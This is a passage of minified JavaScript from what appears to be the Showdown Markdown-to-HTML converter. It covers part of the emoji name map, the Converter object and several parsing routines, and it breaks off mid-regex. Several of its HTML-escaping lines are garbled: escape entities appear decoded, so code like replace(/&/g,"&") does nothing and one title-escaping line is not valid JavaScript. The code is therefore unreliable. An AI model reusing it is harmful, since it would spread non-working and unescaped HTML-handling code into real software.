3d\udcee",potable_water:"\ud83d\udeb0",potato:"\ud83e\udd54",pouch:"\ud83d\udc5d",poultry_leg:"\ud83c\udf57",pound:"\ud83d\udcb7",rage:"\ud83d\ude21",pouting_cat:"\ud83d\ude3e",pouting_man:"\ud83d\ude4e‍\u2642\ufe0f",pray:"\ud83d\ude4f",prayer_beads:"\ud83d\udcff",pregnant_woman:"\ud83e\udd30",previous_track_button:"\u23ee",prince:"\ud83e\udd34",princess:"\ud83d\udc78",printer:"\ud83d\udda8",purple_heart:"\ud83d\udc9c",purse:"\ud83d\udc5b",pushpin:"\ud83d\udccc",put_litter_in_its_place:"\ud83d\udeae",question:"\u2753",rabbit:"\ud83d\udc30",rabbit2:"\ud83d\udc07",racehorse:"\ud83d\udc0e",racing_car:"\ud83c\udfce",radio:"\ud83d\udcfb",radio_button:"\ud83d\udd18",radioactive:"\u2622\ufe0f",railway_car:"\ud83d\ude83",railway_track:"\ud83d\udee4",rainbow:"\ud83c\udf08",rainbow_flag:"\ud83c\udff3\ufe0f‍\ud83c\udf08",raised_back_of_hand:"\ud83e\udd1a",raised_hand_with_fingers_splayed:"\ud83d\udd90",raised_hands:"\ud83d\ude4c",raising_hand_woman:"\ud83d\ude4b",raising_hand_man:"\ud83d\ude4b‍\u2642\ufe0f",ram:"\ud83d\udc0f",ramen:"\ud83c\udf5c",rat:"\ud83d\udc00",record_button:"\u23fa",recycle:"\u267b\ufe0f",red_circle:"\ud83d\udd34",registered:"\xae\ufe0f",relaxed:"\u263a\ufe0f",relieved:"\ud83d\ude0c",reminder_ribbon:"\ud83c\udf97",repeat:"\ud83d\udd01",repeat_one:"\ud83d\udd02",rescue_worker_helmet:"\u26d1",restroom:"\ud83d\udebb",revolving_hearts:"\ud83d\udc9e",rewind:"\u23ea",rhinoceros:"\ud83e\udd8f",ribbon:"\ud83c\udf80",rice:"\ud83c\udf5a",rice_ball:"\ud83c\udf59",rice_cracker:"\ud83c\udf58",rice_scene:"\ud83c\udf91",right_anger_bubble:"\ud83d\uddef",ring:"\ud83d\udc8d",robot:"\ud83e\udd16",rocket:"\ud83d\ude80",rofl:"\ud83e\udd23",roll_eyes:"\ud83d\ude44",roller_coaster:"\ud83c\udfa2",rooster:"\ud83d\udc13",rose:"\ud83c\udf39",rosette:"\ud83c\udff5",rotating_light:"\ud83d\udea8",round_pushpin:"\ud83d\udccd",rowing_man:"\ud83d\udea3",rowing_woman:"\ud83d\udea3‍\u2640\ufe0f",rugby_football:"\ud83c\udfc9",running_man:"\ud83c\udfc3",running_shirt_with_sash:"\ud83c\udfbd",running_woman:"\ud83c\udfc3‍\u2640\ufe0f",sa:"\ud83c\ude02\ufe0f",sagittarius:"\u2650\ufe0f",sake:"\ud83c\udf76",sandal:"\ud83d\udc61",santa:"\ud83c\udf85",satellite:"\ud83d\udce1",saxophone:"\ud83c\udfb7",school:"\ud83c\udfeb",school_satchel:"\ud83c\udf92",scissors:"\u2702\ufe0f",scorpion:"\ud83e\udd82",scorpius:"\u264f\ufe0f",scream:"\ud83d\ude31",scream_cat:"\ud83d\ude40",scroll:"\ud83d\udcdc",seat:"\ud83d\udcba",secret:"\u3299\ufe0f",see_no_evil:"\ud83d\ude48",seedling:"\ud83c\udf31",selfie:"\ud83e\udd33",shallow_pan_of_food:"\ud83e\udd58",shamrock:"\u2618\ufe0f",shark:"\ud83e\udd88",shaved_ice:"\ud83c\udf67",sheep:"\ud83d\udc11",shell:"\ud83d\udc1a",shield:"\ud83d\udee1",shinto_shrine:"\u26e9",ship:"\ud83d\udea2",shirt:"\ud83d\udc55",shopping:"\ud83d\udecd",shopping_cart:"\ud83d\uded2",shower:"\ud83d\udebf",shrimp:"\ud83e\udd90",signal_strength:"\ud83d\udcf6",six_pointed_star:"\ud83d\udd2f",ski:"\ud83c\udfbf",skier:"\u26f7",skull:"\ud83d\udc80",skull_and_crossbones:"\u2620\ufe0f",sleeping:"\ud83d\ude34",sleeping_bed:"\ud83d\udecc",sleepy:"\ud83d\ude2a",slightly_frowning_face:"\ud83d\ude41",slightly_smiling_face:"\ud83d\ude42",slot_machine:"\ud83c\udfb0",small_airplane:"\ud83d\udee9",small_blue_diamond:"\ud83d\udd39",small_orange_diamond:"\ud83d\udd38",small_red_triangle:"\ud83d\udd3a",small_red_triangle_down:"\ud83d\udd3b",smile:"\ud83d\ude04",smile_cat:"\ud83d\ude38",smiley:"\ud83d\ude03",smiley_cat:"\ud83d\ude3a",smiling_imp:"\ud83d\ude08",smirk:"\ud83d\ude0f",smirk_cat:"\ud83d\ude3c",smoking:"\ud83d\udeac",snail:"\ud83d\udc0c",snake:"\ud83d\udc0d",sneezing_face:"\ud83e\udd27",snowboarder:"\ud83c\udfc2",snowflake:"\u2744\ufe0f",snowman:"\u26c4\ufe0f",snowman_with_snow:"\u2603\ufe0f",sob:"\ud83d\ude2d",soccer:"\u26bd\ufe0f",soon:"\ud83d\udd1c",sos:"\ud83c\udd98",sound:"\ud83d\udd09",space_invader:"\ud83d\udc7e",spades:"\u2660\ufe0f",spaghetti:"\ud83c\udf5d",sparkle:"\u2747\ufe0f",sparkler:"\ud83c\udf87",sparkles:"\u2728",sparkling_heart:"\ud83d\udc96",speak_no_evil:"\ud83d\ude4a",speaker:"\ud83d\udd08",speaking_head:"\ud83d\udde3",speech_balloon:"\ud83d\udcac",speedboat:"\ud83d\udea4",spider:"\ud83d\udd77",spider_web:"\ud83d\udd78",spiral_calendar:"\ud83d\uddd3",spiral_notepad:"\ud83d\uddd2",spoon:"\ud83e\udd44",squid:"\ud83e\udd91",stadium:"\ud83c\udfdf",star:"\u2b50\ufe0f",star2:"\ud83c\udf1f",star_and_crescent:"\u262a\ufe0f",star_of_david:"\u2721\ufe0f",stars:"\ud83c\udf20",station:"\ud83d\ude89",statue_of_liberty:"\ud83d\uddfd",steam_locomotive:"\ud83d\ude82",stew:"\ud83c\udf72",stop_button:"\u23f9",stop_sign:"\ud83d\uded1",stopwatch:"\u23f1",straight_ruler:"\ud83d\udccf",strawberry:"\ud83c\udf53",stuck_out_tongue:"\ud83d\ude1b",stuck_out_tongue_closed_eyes:"\ud83d\ude1d",stuck_out_tongue_winking_eye:"\ud83d\ude1c",studio_microphone:"\ud83c\udf99",stuffed_flatbread:"\ud83e\udd59",sun_behind_large_cloud:"\ud83c\udf25",sun_behind_rain_cloud:"\ud83c\udf26",sun_behind_small_cloud:"\ud83c\udf24",sun_with_face:"\ud83c\udf1e",sunflower:"\ud83c\udf3b",sunglasses:"\ud83d\ude0e",sunny:"\u2600\ufe0f",sunrise:"\ud83c\udf05",sunrise_over_mountains:"\ud83c\udf04",surfing_man:"\ud83c\udfc4",surfing_woman:"\ud83c\udfc4‍\u2640\ufe0f",sushi:"\ud83c\udf63",suspension_railway:"\ud83d\ude9f",sweat:"\ud83d\ude13",sweat_drops:"\ud83d\udca6",sweat_smile:"\ud83d\ude05",sweet_potato:"\ud83c\udf60",swimming_man:"\ud83c\udfca",swimming_woman:"\ud83c\udfca‍\u2640\ufe0f",symbols:"\ud83d\udd23",synagogue:"\ud83d\udd4d",syringe:"\ud83d\udc89",taco:"\ud83c\udf2e",tada:"\ud83c\udf89",tanabata_tree:"\ud83c\udf8b",taurus:"\u2649\ufe0f",taxi:"\ud83d\ude95",tea:"\ud83c\udf75",telephone_receiver:"\ud83d\udcde",telescope:"\ud83d\udd2d",tennis:"\ud83c\udfbe",tent:"\u26fa\ufe0f",thermometer:"\ud83c\udf21",thinking:"\ud83e\udd14",thought_balloon:"\ud83d\udcad",ticket:"\ud83c\udfab",tickets:"\ud83c\udf9f",tiger:"\ud83d\udc2f",tiger2:"\ud83d\udc05",timer_clock:"\u23f2",tipping_hand_man:"\ud83d\udc81‍\u2642\ufe0f",tired_face:"\ud83d\ude2b",tm:"\u2122\ufe0f",toilet:"\ud83d\udebd",tokyo_tower:"\ud83d\uddfc",tomato:"\ud83c\udf45",tongue:"\ud83d\udc45",top:"\ud83d\udd1d",tophat:"\ud83c\udfa9",tornado:"\ud83c\udf2a",trackball:"\ud83d\uddb2",tractor:"\ud83d\ude9c",traffic_light:"\ud83d\udea5",train:"\ud83d\ude8b",train2:"\ud83d\ude86",tram:"\ud83d\ude8a",triangular_flag_on_post:"\ud83d\udea9",triangular_ruler:"\ud83d\udcd0",trident:"\ud83d\udd31",triumph:"\ud83d\ude24",trolleybus:"\ud83d\ude8e",trophy:"\ud83c\udfc6",tropical_drink:"\ud83c\udf79",tropical_fish:"\ud83d\udc20",truck:"\ud83d\ude9a",trumpet:"\ud83c\udfba",tulip:"\ud83c\udf37",tumbler_glass:"\ud83e\udd43",turkey:"\ud83e\udd83",turtle:"\ud83d\udc22",tv:"\ud83d\udcfa",twisted_rightwards_arrows:"\ud83d\udd00",two_hearts:"\ud83d\udc95",two_men_holding_hands:"\ud83d\udc6c",two_women_holding_hands:"\ud83d\udc6d",u5272:"\ud83c\ude39",u5408:"\ud83c\ude34",u55b6:"\ud83c\ude3a",u6307:"\ud83c\ude2f\ufe0f",u6708:"\ud83c\ude37\ufe0f",u6709:"\ud83c\ude36",u6e80:"\ud83c\ude35",u7121:"\ud83c\ude1a\ufe0f",u7533:"\ud83c\ude38",u7981:"\ud83c\ude32",u7a7a:"\ud83c\ude33",umbrella:"\u2614\ufe0f",unamused:"\ud83d\ude12",underage:"\ud83d\udd1e",unicorn:"\ud83e\udd84",unlock:"\ud83d\udd13",up:"\ud83c\udd99",upside_down_face:"\ud83d\ude43",v:"\u270c\ufe0f",vertical_traffic_light:"\ud83d\udea6",vhs:"\ud83d\udcfc",vibration_mode:"\ud83d\udcf3",video_camera:"\ud83d\udcf9",video_game:"\ud83c\udfae",violin:"\ud83c\udfbb",virgo:"\u264d\ufe0f",volcano:"\ud83c\udf0b",volleyball:"\ud83c\udfd0",vs:"\ud83c\udd9a",vulcan_salute:"\ud83d\udd96",walking_man:"\ud83d\udeb6",walking_woman:"\ud83d\udeb6‍\u2640\ufe0f",waning_crescent_moon:"\ud83c\udf18",waning_gibbous_moon:"\ud83c\udf16",warning:"\u26a0\ufe0f",wastebasket:"\ud83d\uddd1",watch:"\u231a\ufe0f",water_buffalo:"\ud83d\udc03",watermelon:"\ud83c\udf49",wave:"\ud83d\udc4b",wavy_dash:"\u3030\ufe0f",waxing_crescent_moon:"\ud83c\udf12",wc:"\ud83d\udebe",weary:"\ud83d\ude29",wedding:"\ud83d\udc92",weight_lifting_man:"\ud83c\udfcb\ufe0f",weight_lifting_woman:"\ud83c\udfcb\ufe0f‍\u2640\ufe0f",whale:"\ud83d\udc33",whale2:"\ud83d\udc0b",wheel_of_dharma:"\u2638\ufe0f",wheelchair:"\u267f\ufe0f",white_check_mark:"\u2705",white_circle:"\u26aa\ufe0f",white_flag:"\ud83c\udff3\ufe0f",white_flower:"\ud83d\udcae",white_large_square:"\u2b1c\ufe0f",white_medium_small_square:"\u25fd\ufe0f",white_medium_square:"\u25fb\ufe0f",white_small_square:"\u25ab\ufe0f",white_square_button:"\ud83d\udd33",wilted_flower:"\ud83e\udd40",wind_chime:"\ud83c\udf90",wind_face:"\ud83c\udf2c",wine_glass:"\ud83c\udf77",wink:"\ud83d\ude09",wolf:"\ud83d\udc3a",woman:"\ud83d\udc69",woman_artist:"\ud83d\udc69‍\ud83c\udfa8",woman_astronaut:"\ud83d\udc69‍\ud83d\ude80",woman_cartwheeling:"\ud83e\udd38‍\u2640\ufe0f",woman_cook:"\ud83d\udc69‍\ud83c\udf73",woman_facepalming:"\ud83e\udd26‍\u2640\ufe0f",woman_factory_worker:"\ud83d\udc69‍\ud83c\udfed",woman_farmer:"\ud83d\udc69‍\ud83c\udf3e",woman_firefighter:"\ud83d\udc69‍\ud83d\ude92",woman_health_worker:"\ud83d\udc69‍\u2695\ufe0f",woman_judge:"\ud83d\udc69‍\u2696\ufe0f",woman_juggling:"\ud83e\udd39‍\u2640\ufe0f",woman_mechanic:"\ud83d\udc69‍\ud83d\udd27",woman_office_worker:"\ud83d\udc69‍\ud83d\udcbc",woman_pilot:"\ud83d\udc69‍\u2708\ufe0f",woman_playing_handball:"\ud83e\udd3e‍\u2640\ufe0f",woman_playing_water_polo:"\ud83e\udd3d‍\u2640\ufe0f",woman_scientist:"\ud83d\udc69‍\ud83d\udd2c",woman_shrugging:"\ud83e\udd37‍\u2640\ufe0f",woman_singer:"\ud83d\udc69‍\ud83c\udfa4",woman_student:"\ud83d\udc69‍\ud83c\udf93",woman_teacher:"\ud83d\udc69‍\ud83c\udfeb",woman_technologist:"\ud83d\udc69‍\ud83d\udcbb",woman_with_turban:"\ud83d\udc73‍\u2640\ufe0f",womans_clothes:"\ud83d\udc5a",womans_hat:"\ud83d\udc52",women_wrestling:"\ud83e\udd3c‍\u2640\ufe0f",womens:"\ud83d\udeba",world_map:"\ud83d\uddfa",worried:"\ud83d\ude1f",wrench:"\ud83d\udd27",writing_hand:"\u270d\ufe0f",x:"\u274c",yellow_heart:"\ud83d\udc9b",yen:"\ud83d\udcb4",yin_yang:"\u262f\ufe0f",yum:"\ud83d\ude0b",zap:"\u26a1\ufe0f",zipper_mouth_face:"\ud83e\udd10",zzz:"\ud83d\udca4",octocat:'<img alt=":octocat:" height="20" width="20" align="absmiddle" src="https://assets-cdn.github.com/images/icons/emoji/octocat.png">',showdown:"<span style=\"font-family: 'Anonymous Pro', monospace; text-decoration: underline; text-decoration-style: dashed; text-decoration-color: #3e8b8a;text-underline-position: under;\">S</span>"},y.Converter=function(a){var n={},s=[],i=[],l={},t=g,o={parsed:{},raw:"",format:""};function c(e,r){if(r=r||null,y.helper.isString(e)){if(r=e=y.helper.stdExtName(e),y.extensions[e])return void function o(e,r){"function"==typeof e&&(e=e(new y.Converter));y.helper.isArray(e)||(e=[e]);var a=_(e,r);if(!a.valid)throw Error(a.error);for(var t=0;t<e.length;++t)switch(e[t].type){case"lang":s.push(e[t]);break;case"output":i.push(e[t]);break;default:throw Error("Extension loader error: Type unrecognized!!!")}}(y.extensions[e],e);if(y.helper.isUndefined(h[e]))throw Error('Extension "'+e+'" could not be loaded. It was either not found or is not a valid extension.');e=h[e]}"function"==typeof e&&(e=e()),y.helper.isArray(e)||(e=[e]);var a=_(e,r);if(!a.valid)throw Error(a.error);for(var t=0;t<e.length;++t){switch(e[t].type){case"lang":s.push(e[t]);break;case"output":i.push(e[t])}if(e[t].hasOwnProperty("listeners"))for(var n in e[t].listeners)e[t].listeners.hasOwnProperty(n)&&u(n,e[t].listeners[n])}}function u(e,r){if(!y.helper.isString(e))throw Error("Invalid argument in converter.listen() method: name must be a string, but "+p(e)+" given");if("function"!=typeof r)throw Error("Invalid argument in converter.listen() method: callback must be a function, but "+p(r)+" given");l.hasOwnProperty(e)||(l[e]=[]),l[e].push(r)}!function d(){for(var e in a=a||{},f)f.hasOwnProperty(e)&&(n[e]=f[e]);{if("object"!==p(a))throw Error("Converter expects the passed parameter to be an object, but "+p(a)+" was passed instead.");for(var r in a)a.hasOwnProperty(r)&&(n[r]=a[r])}n.extensions&&y.helper.forEach(n.extensions,c)}(),this._dispatch=function(e,r,a,t){if(l.hasOwnProperty(e))for(var n=0;n<l[e].length;++n){var o=l[e][n](e,r,this,a,t);o&&void 0!==o&&(r=o)}return r},this.listen=function(e,r){return u(e,r),this},this.makeHtml=function(r){if(!r)return r;var a={gHtmlBlocks:[],gHtmlMdBlocks:[],gHtmlSpans:[],gUrls:{},gTitles:{},gDimensions:{},gListLevel:0,hashLinkCounts:{},langExtensions:s,outputModifiers:i,converter:this,ghCodeBlocks:[],metadata:{parsed:{},raw:"",format:""}};return r=(r=(r=(r=(r=r.replace(/\xa8/g,"\xa8T")).replace(/\$/g,"\xa8D")).replace(/\r\n/g,"\n")).replace(/\r/g,"\n")).replace(/\u00A0/g," "),n.smartIndentationFix&&(r=function t(e){var r=e.match(/^\s*/)[0].length,a=new RegExp("^\\s{0,"+r+"}","gm");return e.replace(a,"")}(r)),r="\n\n"+r+"\n\n",r=(r=y.subParser("detab")(r,n,a)).replace(/^[ \t]+$/gm,""),y.helper.forEach(s,function(e){r=y.subParser("runExtension")(e,r,n,a)}),r=y.subParser("metadata")(r,n,a),r=y.subParser("hashPreCodeTags")(r,n,a),r=y.subParser("githubCodeBlocks")(r,n,a),r=y.subParser("hashHTMLBlocks")(r,n,a),r=y.subParser("hashCodeTags")(r,n,a),r=y.subParser("stripLinkDefinitions")(r,n,a),r=y.subParser("blockGamut")(r,n,a),r=y.subParser("unhashHTMLSpans")(r,n,a),r=(r=(r=y.subParser("unescapeSpecialChars")(r,n,a)).replace(/\xa8D/g,"$$")).replace(/\xa8T/g,"\xa8"),r=y.subParser("completeHTMLDocument")(r,n,a),y.helper.forEach(i,function(e){r=y.subParser("runExtension")(e,r,n,a)}),o=a.metadata,r},this.makeMarkdown=this.makeMd=function(e,r){if(e=(e=(e=e.replace(/\r\n/g,"\n")).replace(/\r/g,"\n")).replace(/>[ \t]+</,">\xa8NBSP;<"),!r){if(!window||!window.document)throw new Error("HTMLParser is undefined. If in a webworker or nodejs environment, you need to provide a WHATWG DOM and HTML such as JSDOM");r=window.document}var a=r.createElement("div");a.innerHTML=e;var t={preList:function c(e){for(var r=e.querySelectorAll("pre"),a=[],t=0;t<r.length;++t)if(1===r[t].childElementCount&&"code"===r[t].firstChild.tagName.toLowerCase()){var n=r[t].firstChild.innerHTML.trim(),o=r[t].firstChild.getAttribute("data-language")||"";if(""===o)for(var s=r[t].firstChild.className.split(" "),i=0;i<s.length;++i){var l=s[i].match(/^language-(.+)$/);if(null!==l){o=l[1];break}}n=y.helper.unescapeHTMLEntities(n),a.push(n),r[t].outerHTML='<precode language="'+o+'" precodenum="'+t.toString()+'"></precode>'}else a.push(r[t].innerHTML),r[t].innerHTML="",r[t].setAttribute("prenum",t.toString());return a}(a)};!function i(e){for(var r=0;r<e.childNodes.length;++r){var a=e.childNodes[r];3===a.nodeType?/\S/.test(a.nodeValue)?(a.nodeValue=a.nodeValue.split("\n").join(" "),a.nodeValue=a.nodeValue.replace(/(\s)+/g,"$1")):(e.removeChild(a),--r):1===a.nodeType&&i(a)}}(a);for(var n=a.childNodes,o="",s=0;s<n.length;s++)o+=y.subParser("makeMarkdown.node")(n[s],t);return o},this.setOption=function(e,r){n[e]=r},this.getOption=function(e){return n[e]},this.getOptions=function(){return n},this.addExtension=function(e,r){c(e,r=r||null)},this.useExtension=function(e){c(e)},this.setFlavor=function(e){if(!m.hasOwnProperty(e))throw Error(e+" flavor was not found");var r=m[e];for(var a in t=e,r)r.hasOwnProperty(a)&&(n[a]=r[a])},this.getFlavor=function(){return t},this.removeExtension=function(e){y.helper.isArray(e)||(e=[e]);for(var r=0;r<e.length;++r){for(var a=e[r],t=0;t<s.length;++t)s[t]===a&&s[t].splice(t,1);for(;0<i.length;++t)i[0]===a&&i[0].splice(t,1)}},this.getAllExtensions=function(){return{language:s,output:i}},this.getMetadata=function(e){return e?o.raw:o.parsed},this.getMetadataFormat=function(){return o.format},this._setMetadataPair=function(e,r){o.parsed[e]=r},this._setMetadataFormat=function(e){o.format=e},this._setMetadataRaw=function(e){o.raw=e}},y.subParser("anchors",function(e,l,c){var u=function u(e,r,a,t,n,o,s){if(y.helper.isUndefined(s)&&(s=""),a=a.toLowerCase(),-1<e.search(/\(<?\s*>? ?(['"].*['"])?\)$/m))t="";else if(!t){if(a||(a=r.toLowerCase().replace(/ ?\n/g," ")),t="#"+a,y.helper.isUndefined(c.gUrls[a]))return e;t=c.gUrls[a],y.helper.isUndefined(c.gTitles[a])||(s=c.gTitles[a])}var i='<a href="'+(t=t.replace(y.helper.regexes.asteriskDashAndColon,y.helper.escapeCharactersCallback))+'"';return""!==s&&null!==s&&(i+=' title="'+(s=(s=s.replace(/"/g,""")).replace(y.helper.regexes.asteriskDashAndColon,y.helper.escapeCharactersCallback))+'"'),l.openLinksInNewWindow&&!/^#/.test(t)&&(i+=' rel="noopener noreferrer" target="\xa8E95Eblank"'),i+=">"+r+"</a>"};return e=(e=(e=(e=(e=c.converter._dispatch("anchors.before",e,l,c)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)] ?(?:\n *)?\[(.*?)]()()()()/g,u)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?<([^>]*)>(?:[ \t]*((["'])([^"]*?)\5))?[ \t]?\)/g,u)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?<?([\S]+?(?:\([\S]*?\)[\S]*?)?)>?(?:[ \t]*((["'])([^"]*?)\5))?[ \t]?\)/g,u)).replace(/\[([^\[\]]+)]()()()()()/g,u),l.ghMentions&&(e=e.replace(/(^|\s)(\\)?(@([a-z\d]+(?:[a-z\d.-]+?[a-z\d]+)*))/gim,function(e,r,a,t,n){if("\\"===a)return r+t;if(!y.helper.isString(l.ghMentionsLink))throw new Error("ghMentionsLink option must be a string");var o=l.ghMentionsLink.replace(/\{u}/g,n),s="";return l.openLinksInNewWindow&&(s=' rel="noopener noreferrer" target="\xa8E95Eblank"'),r+'<a href="'+o+'"'+s+">"+t+"</a>"})),e=c.converter._dispatch("anchors.after",e,l,c)});var n=/([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^'">\s]+?\.[^'">\s]+?)()(\1)?(?=\s|$)(?!["<>])/gi,s=/([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^'">\s]+\.[^'">\s]+?)([.!?,()\[\]])?(\1)?(?=\s|$)(?!["<>])/gi,i=/()<(((https?|ftp|dict):\/\/|www\.)[^'">\s]+)()>()/gi,l=/(^|\s)(?:mailto:)?([A-Za-z0-9!#$%&'*+-/=?^_`{|}~.]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)(?=$|\s)/gim,c=/<()(?:mailto:)?([-.\w]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)>/gi,u=function u(p){return function(e,r,a,t,n,o,s){var i=a=a.replace(y.helper.regexes.asteriskDashAndColon,y.helper.escapeCharactersCallback),l="",c="",u=r||"",d=s||"";return/^www\./i.test(a)&&(a=a.replace(/^www\./i,"http://www.")),p.excludeTrailingPunctuationFromURLs&&o&&(l=o),p.openLinksInNewWindow&&(c=' rel="noopener noreferrer" target="\xa8E95Eblank"'),u+'<a href="'+a+'"'+c+">"+i+"</a>"+l+d}},d=function d(n,o){return function(e,r,a){var t="mailto:";return r=r||"",a=y.subParser("unescapeSpecialChars")(a,n,o),n.encodeEmails?(t=y.helper.encodeEmailAddress(t+a),a=y.helper.encodeEmailAddress(a)):t+=a,r+'<a href="'+t+'">'+a+"</a>"}};y.subParser("autoLinks",function(e,r,a){return e=(e=(e=a.converter._dispatch("autoLinks.before",e,r,a)).replace(i,u(r))).replace(c,d(r,a)),e=a.converter._dispatch("autoLinks.after",e,r,a)}),y.subParser("simplifiedAutoLinks",function(e,r,a){return r.simplifiedAutoLink?(e=a.converter._dispatch("simplifiedAutoLinks.before",e,r,a),e=(e=r.excludeTrailingPunctuationFromURLs?e.replace(s,u(r)):e.replace(n,u(r))).replace(l,d(r,a)),e=a.converter._dispatch("simplifiedAutoLinks.after",e,r,a)):e}),y.subParser("blockGamut",function(e,r,a){return e=a.converter._dispatch("blockGamut.before",e,r,a),e=y.subParser("blockQuotes")(e,r,a),e=y.subParser("headers")(e,r,a),e=y.subParser("horizontalRule")(e,r,a),e=y.subParser("lists")(e,r,a),e=y.subParser("codeBlocks")(e,r,a),e=y.subParser("tables")(e,r,a),e=y.subParser("hashHTMLBlocks")(e,r,a),e=y.subParser("paragraphs")(e,r,a),e=a.converter._dispatch("blockGamut.after",e,r,a)}),y.subParser("blockQuotes",function(e,r,a){e=a.converter._dispatch("blockQuotes.before",e,r,a),e+="\n\n";var t=/(^ {0,3}>[ \t]?.+\n(.+\n)*\n*)+/gm;return r.splitAdjacentBlockquotes&&(t=/^ {0,3}>[\s\S]*?(?:\n\n)/gm),e=e.replace(t,function(e){return e=(e=(e=e.replace(/^[ \t]*>[ \t]?/gm,"")).replace(/\xa80/g,"")).replace(/^[ \t]+$/gm,""),e=y.subParser("githubCodeBlocks")(e,r,a),e=(e=(e=y.subParser("blockGamut")(e,r,a)).replace(/(^|\n)/g,"$1 ")).replace(/(\s*<pre>[^\r]+?<\/pre>)/gm,function(e,r){var a=r;return a=(a=a.replace(/^ {2}/gm,"\xa80")).replace(/\xa80/g,"")}),y.subParser("hashBlock")("<blockquote>\n"+e+"\n</blockquote>",r,a)}),e=a.converter._dispatch("blockQuotes.after",e,r,a)}),y.subParser("codeBlocks",function(e,s,i){e=i.converter._dispatch("codeBlocks.before",e,s,i);return e=(e=(e+="\xa80").replace(/(?:\n\n|^)((?:(?:[ ]{4}|\t).*\n+)+)(\n*[ ]{0,3}[^ \t\n]|(?=\xa80))/g,function(e,r,a){var t=r,n=a,o="\n";return t=y.subParser("outdent")(t,s,i),t=y.subParser("encodeCode")(t,s,i),t=(t=(t=y.subParser("detab")(t,s,i)).replace(/^\n+/g,"")).replace(/\n+$/g,""),s.omitExtraWLInCodeBlocks&&(o=""),t="<pre><code>"+t+o+"</code></pre>",y.subParser("hashBlock")(t,s,i)+n})).replace(/\xa80/,""),e=i.converter._dispatch("codeBlocks.after",e,s,i)}),y.subParser("codeSpans",function(e,o,s){return void 0===(e=s.converter._dispatch("codeSpans.before",e,o,s))&&(e=""),e=e.replace(/(^|[^\\])(`+)([^\r]*?[^`])\2(?!`)/gm,function(e,r,a,t){var n=t;return n=(n=n.replace(/^([ \t]*)/g,"")).replace(/[ \t]*$/g,""),n=r+"<code>"+(n=y.subParser("encodeCode")(n,o,s))+"</code>",n=y.subParser("hashHTMLSpans")(n,o,s)}),e=s.converter._dispatch("codeSpans.after",e,o,s)}),y.subParser("completeHTMLDocument",function(e,r,a){if(!r.completeHTMLDocument)return e;e=a.converter._dispatch("completeHTMLDocument.before",e,r,a);var t="html",n="<!DOCTYPE HTML>\n",o="",s='<meta charset="utf-8">\n',i="",l="";for(var c in"undefined"!=typeof a.metadata.parsed.doctype&&(n="<!DOCTYPE "+a.metadata.parsed.doctype+">\n","html"!==(t=a.metadata.parsed.doctype.toString().toLowerCase())&&"html5"!==t||(s='<meta charset="utf-8">')),a.metadata.parsed)if(a.metadata.parsed.hasOwnProperty(c))switch(c.toLowerCase()){case"doctype":break;case"title":o="<title>"+a.metadata.parsed.title+"</title>\n";break;case"charset":s="html"===t||"html5"===t?'<meta charset="'+a.metadata.parsed.charset+'">\n':'<meta name="charset" content="'+a.metadata.parsed.charset+'">\n';break;case"language":case"lang":i=' lang="'+a.metadata.parsed[c]+'"',l+='<meta name="'+c+'" content="'+a.metadata.parsed[c]+'">\n';break;default:l+='<meta name="'+c+'" content="'+a.metadata.parsed[c]+'">\n'}return e=n+"<html"+i+">\n<head>\n"+o+s+l+"</head>\n<body>\n"+e.trim()+"\n</body>\n</html>",e=a.converter._dispatch("completeHTMLDocument.after",e,r,a)}),y.subParser("detab",function(e,r,a){return e=(e=(e=(e=(e=(e=a.converter._dispatch("detab.before",e,r,a)).replace(/\t(?=\t)/g," ")).replace(/\t/g,"\xa8A\xa8B")).replace(/\xa8B(.+?)\xa8A/g,function(e,r){for(var a=r,t=4-a.length%4,n=0;n<t;n++)a+=" ";return a})).replace(/\xa8A/g," ")).replace(/\xa8B/g,""),e=a.converter._dispatch("detab.after",e,r,a)}),y.subParser("ellipsis",function(e,r,a){return e=(e=a.converter._dispatch("ellipsis.before",e,r,a)).replace(/\.\.\./g,"\u2026"),e=a.converter._dispatch("ellipsis.after",e,r,a)}),y.subParser("emoji",function(e,r,a){if(!r.emoji)return e;return e=(e=a.converter._dispatch("emoji.before",e,r,a)).replace(/:([\S]+?):/g,function(e,r){return y.helper.emojis.hasOwnProperty(r)?y.helper.emojis[r]:e}),e=a.converter._dispatch("emoji.after",e,r,a)}),y.subParser("encodeAmpsAndAngles",function(e,r,a){return e=(e=(e=(e=(e=a.converter._dispatch("encodeAmpsAndAngles.before",e,r,a)).replace(/&(?!#?[xX]?(?:[0-9a-fA-F]+|\w+);)/g,"&")).replace(/<(?![a-z\/?$!])/gi,"<")).replace(/</g,"<")).replace(/>/g,">"),e=a.converter._dispatch("encodeAmpsAndAngles.after",e,r,a)}),y.subParser("encodeBackslashEscapes",function(e,r,a){return e=(e=(e=a.converter._dispatch("encodeBackslashEscapes.before",e,r,a)).replace(/\\(\\)/g,y.helper.escapeCharactersCallback)).replace(/\\([`*_{}\[\]()>#+.!~=|-])/g,y.helper.escapeCharactersCallback),e=a.converter._dispatch("encodeBackslashEscapes.after",e,r,a)}),y.subParser("encodeCode",function(e,r,a){return e=(e=a.converter._dispatch("encodeCode.before",e,r,a)).replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/([*_{}\[\]\\=~-])/g,y.helper.escapeCharactersCallback),e=a.converter._dispatch("encodeCode.after",e,r,a)}),y.subParser("escapeSpecialCharsWithinTagAttributes",function(e,r,a){return e=(e=(e=a.converter._dispatch("escapeSpecialCharsWithinTagAttributes.before",e,r,a)).replace(/<\/?[a-z\d_:-]+(?:[\s]+[\s\S]+?)?>/gi,function(e){return e.replace(/(.)<\/?code>(?=.)/g,"$1`").replace(/([\\`*_~=|])/g,y.helper.escapeCharactersCallback)})).replace(/<!(--(?:(?:[^>-]|-[^>])(?:[^-]|-[^-])*)--)>/gi,function(e){return e.replace(/([\\`*_~=|])/g,y.helper.escapeCharactersCallback)}),e=a.converter._dispatch("escapeSpecialCharsWithinTagAttributes.after",e,r,a)}),y.subParser("githubCodeBlocks",function(e,o,s){return o.ghCodeBlocks?(e=s.converter._dispatch("githubCodeBlocks.before",e,o,s),e=(e=(e+="\xa80").replace(/(?:^|\n)(?: 